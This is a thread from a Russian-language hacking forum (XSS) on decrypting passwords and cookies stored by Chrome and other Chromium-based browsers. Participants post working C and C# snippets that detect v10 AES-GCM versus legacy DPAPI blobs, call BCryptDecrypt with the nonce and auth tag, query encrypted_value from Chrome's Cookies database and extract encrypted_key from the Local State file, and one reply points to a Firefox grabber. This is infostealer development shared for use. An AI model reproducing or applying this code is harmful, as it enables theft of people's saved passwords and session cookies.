• XSS.stack #1 – первый литературный журнал от юзеров форума

BCrypt, дешифровка пароля chromium.

Пожалуйста, обратите внимание, что пользователь заблокирован
Странно. Пример с гита работает с хромом, но с его аналогами ( chromium-based ) - криво дешифрует пароль. У меня одного так?
 
Странно. Пример с гита работает с хромом, но с его аналогами ( chromium-based ) - криво дешифрует пароль. У меня одного так?
Ты же сам кидал скрин с brave browser, где все ок? Возможно, как раз этот кастомный sqlite handler боком вылазит..
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ты же сам кидал скрин с brave browser, где все ок? Возможно, как раз этот кастомный sqlite handler боком вылазит..
Я про пример, который дал Jeffs. Нативный.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Странно. Пример с гита работает с хромом, но с его аналогами ( chromium-based ) - криво дешифрует пароль. У меня одного так?
Надо будет протестить на других браузерах. Мб ключ криво парсится
 
Не забывайте, что есть еще легаси пароли, которые зашифрованы голым DPAPI. (помимо новых накрытых AES256GCM есть еще и старые)

Перед тем как декрптить пароль, прочекайте первые на сигнатурку

Код:
0x1, 0x0, 0x0, 0x0
- DPAPI
и v10 для aes-gcm соответственно


C:
int decrypt_chrome_cipher(char* cipher_password, int len_cipher_password, char** plaintext_password, char* masterkey) {
    if (cipher_password[0] == 'v' && cipher_password[1] == '1')
    {
        cipher_password = &(cipher_password[3]);
        len_cipher_password -= 3;

        int len_iv = 96 / 8;
        char *iv = (char*)malloc(len_iv + 1);
        memcpy(iv, cipher_password, len_iv);
        iv[len_iv] = '\0';
        cipher_password = &(cipher_password[len_iv]);
        len_cipher_password -= len_iv;

        if (aead_decrypt(cipher_password, len_cipher_password, masterkey, iv, len_iv, plaintext_password) == -1)
        {
            return -1;
        }
    }
    else 
    {
        if (dpapi_decrypt(cipher_password, len_cipher_password, plaintext_password) == -1)
        {
            return -1;
        }
    }

    return 1;
}

И не забывайте еще об AUTH теге

C:
BYTE* authTag = (BYTE*) (cipher_password + len_cipher_password);

Потом сетаем всё и вуаля

C:
    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
    BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
    authInfo.pbNonce = (PUCHAR)iv;
    authInfo.cbNonce = len_iv;
    authInfo.pbTag = authTag;
    authInfo.cbTag = 16;

    status = BCryptDecrypt(
        KeyHandle,
        (PUCHAR)cipher_password,
        len_cipher_password,
        &authInfo,
        NULL,
        0,
        NULL,
        0,
        &plainTextWritten,
        0
    );

;)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Перед тем как декрптить пароль, прочекайте первые на сигнатурку
В проекте, что я скинул выше стоит проверка по префиксу. Если префикс v10 (а есть ещё v11) - расшифровываем AES-GCM, иначе - DPAPI
 
как куки получить из Хрома?
Тут есть всё необходимое, посмотри. ( запросы можешь посмотреть там же )
Там проекты на C# - SqlHandler'ы и.т.п есть и firefox граббер.
 
показывает только несколько первых кук . где ошибка?
lstrcatA(chromeDbPath,"\\Google\\Chrome\\User Data\\Default\\Cookies");
....
if (sqlite3_prepare_v2(db, "SELECT host_key, is_httponly, path, is_secure, expires_utc, name, encrypted_value FROM cookies", -1, &stmt, 0) != SQLITE_OK)

{
printf("sqlite3_prepare_v2 error! %d\n", GetLastError());
return -1;
}

int entries = 0;

while (sqlite3_step(stmt) == SQLITE_ROW)

{
char* url = (char*)sqlite3_column_text(stmt, 0);
char* username = (char*)sqlite3_column_text(stmt, 1);
char* password = (char*)sqlite3_column_text(stmt, 6);

printf("Url: %s\n", url);
printf("Username: %s\n", username);

int passSize = sqlite3_column_bytes(stmt, 6);
 
как куки получить из Хрома?
sql запрос там такой
SELECT host_key, is_httponly, path, is_secure, expires_utc, name, encrypted_value FROM cookies
host_key, is_httponly, path, is_secure, expires_utc, name, лежат в открытом виде, encrypted_value нужно декодить, ситуация такая-же, как и с пассами
 
Мб ключ криво парсится
Ключ лучше парсить регуляркой, то есть читать содержимое файла Local State, и в нём регуляркой искать ключ
Мой пример регулярки (можно чуть упростить):
C#:
Regex keyReg = new Regex(xmlRegex("{\"encrypted_key\":\"", "\"},\"password_manager\""));

static string xmlRegex(string tag1, string tag2)
        {
            return $@"(?<={tag1})(.*)(?={tag2})";
        }
 
Ключ лучше парсить регуляркой, то есть читать содержимое файла Local State, и в нём регуляркой искать ключ
Мой пример регулярки (можно чуть упростить):
C#:
Regex keyReg = new Regex(xmlRegex("{\"encrypted_key\":\"", "\"},\"password_manager\""));

static string xmlRegex(string tag1, string tag2)
        {
            return $@"(?<={tag1})(.*)(?={tag2})";
        }
Поздравляю, ты изобретаешь парсер JSON формата)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ключ лучше парсить регуляркой, то есть читать содержимое файла Local State, и в нём регуляркой искать ключ
Мой пример регулярки (можно чуть упростить):
C#:
Regex keyReg = new Regex(xmlRegex("{\"encrypted_key\":\"", "\"},\"password_manager\""));

static string xmlRegex(string tag1, string tag2)
        {
            return $@"(?<={tag1})(.*)(?={tag2})";
        }
Я юзаю tiny-json парсер, это так, для примера. (плохого примера)
Да и можно <string> юзать.
unsigned start = string.find("encrypted_key\":\"");
unsigned stop = string.find(""\"},\"password_manager\"");
const string key = string.substr(start, stop);
Где string - считанные данные из файла.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх